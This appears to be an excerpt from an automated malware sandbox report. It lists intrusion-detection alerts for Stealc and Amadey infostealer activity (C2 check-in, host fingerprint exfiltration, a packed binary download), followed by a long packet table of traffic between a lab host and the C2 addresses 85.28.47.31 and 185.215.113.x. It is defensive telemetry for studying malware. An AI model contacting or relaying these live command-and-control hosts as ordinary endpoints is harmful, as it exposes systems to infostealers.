2024-07-27T12:01:09.161122+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:01:17.708719+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:14.465229+0200	TCP	2011803	ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected	80	49704	85.28.47.31	192.168.2.5
2024-07-27T12:02:20.237524+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	49755	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:04.737680+0200	TCP	2803305	ETPRO MALWARE Common Downloader Header Pattern H	49728	80	192.168.2.5	185.215.113.16
2024-07-27T12:02:11.701691+0200	TCP	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	49740	80	192.168.2.5	185.215.113.19
2024-07-27T12:01:14.276520+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:01:06.144381+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	49704	80	192.168.2.5	85.28.47.31
2024-07-27T12:02:05.194565+0200	TCP	2009080	ET MALWARE VMProtect Packed Binary Inbound via HTTP - Likely Hostile	80	49728	185.215.113.16	192.168.2.5

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 27, 2024 12:01:04.808193922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:04.816188097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:04.816310883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:04.816459894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:04.822046995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:05.463424921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:05.463505030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:05.480303049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:05.485481977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:05.957621098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:05.957710028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:05.958841085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:05.964735985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.144193888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.144243002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.144381046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.144381046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.145705938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.150666952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348071098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348126888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348165035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348282099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.348282099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.348282099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.348304033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348368883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.348390102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348448992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.348524094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348581076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.348593950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.348649979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.349662066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.354568958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.537204981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.537301064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.562133074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.562194109 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:06.567332983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.567583084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.567611933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.567661047 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.567687988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.567720890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:06.567770004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:07.599620104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:07.599721909 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.200573921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.205790997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383002996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383049011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383086920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383121014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383156061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383191109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383224964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383224964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383224964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383225918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383225918 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383312941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383603096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383667946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383713007 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383748055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.383770943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383830070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.383959055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.384016037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.384572983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.384634972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.384686947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.384804964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.384859085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.384911060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.384913921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.384959936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473032951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473257065 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473311901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473345995 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473342896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473404884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473452091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473452091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473547935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473582029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473746061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473747015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473747015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473747015 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.473778009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.473849058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.474185944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.474252939 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477021933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477093935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477104902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477138996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477255106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477255106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477341890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477411985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477462053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477519989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477773905 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477812052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477829933 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477844954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.477870941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.477889061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.478213072 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.478269100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.478270054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.478301048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.478317976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.478383064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.478507042 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.478566885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.479052067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.479113102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.479172945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.479207039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.479234934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.479254961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.479270935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.479316950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.566657066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.566699982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.566736937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.566739082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.566801071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.566821098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567080021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567116976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567154884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567181110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567260981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567295074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567326069 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567327976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567351103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567378998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567430973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567485094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567568064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567626953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.567861080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.567926884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568001986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568036079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568068981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568090916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568336964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568371058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568404913 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568406105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568425894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568496943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568689108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568722963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.568753958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.568779945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.569197893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.569231987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.569267035 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.569267035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.569284916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.569319010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.569561958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.569598913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.569633961 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.569657087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.570164919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.570230007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.570326090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.570359945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.570393085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.570415974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.570621967 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.570657015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.570692062 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.570714951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.572542906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.572627068 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.572644949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.572679996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.572706938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.572735071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.572814941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.572848082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.572877884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.572900057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.572951078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573009014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573179960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573213100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573245049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573246956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573265076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573282957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573307991 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573333025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573662043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573688030 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573704958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573715925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573719978 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573735952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573736906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573753119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573765039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573770046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573785067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573800087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573808908 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573816061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573834896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573858023 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.573973894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.573991060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.574007034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.574021101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.574067116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.658797026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.658838987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.658871889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.658874989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.658904076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.658921957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.658941031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.658977032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.658992052 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.659033060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.659414053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.659476995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.659507990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.659540892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.659569979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.659599066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.659755945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.659787893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.659817934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.659846067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660013914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660046101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660079002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660079002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660104990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660128117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660345078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660378933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660406113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660429955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660643101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660677910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660706997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660734892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660794973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660828114 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660859108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660862923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660891056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.660892963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660914898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.660948992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.661242962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.661276102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.661302090 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.661309004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.661326885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.661344051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.661358118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.661397934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662017107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662050009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662082911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662084103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662100077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662116051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662142038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662149906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662163973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662187099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662204027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662240028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662503004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662534952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662566900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662568092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662600994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662606955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662631035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662633896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662647963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662667990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662684917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662699938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.662717104 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.662746906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663355112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663388014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663420916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663420916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663454056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663456917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663481951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663485050 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663516998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663518906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663546085 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663553953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663578987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:08.663585901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:08.663608074 CEST	49704	80	192.168.2.5	85.28.47.31
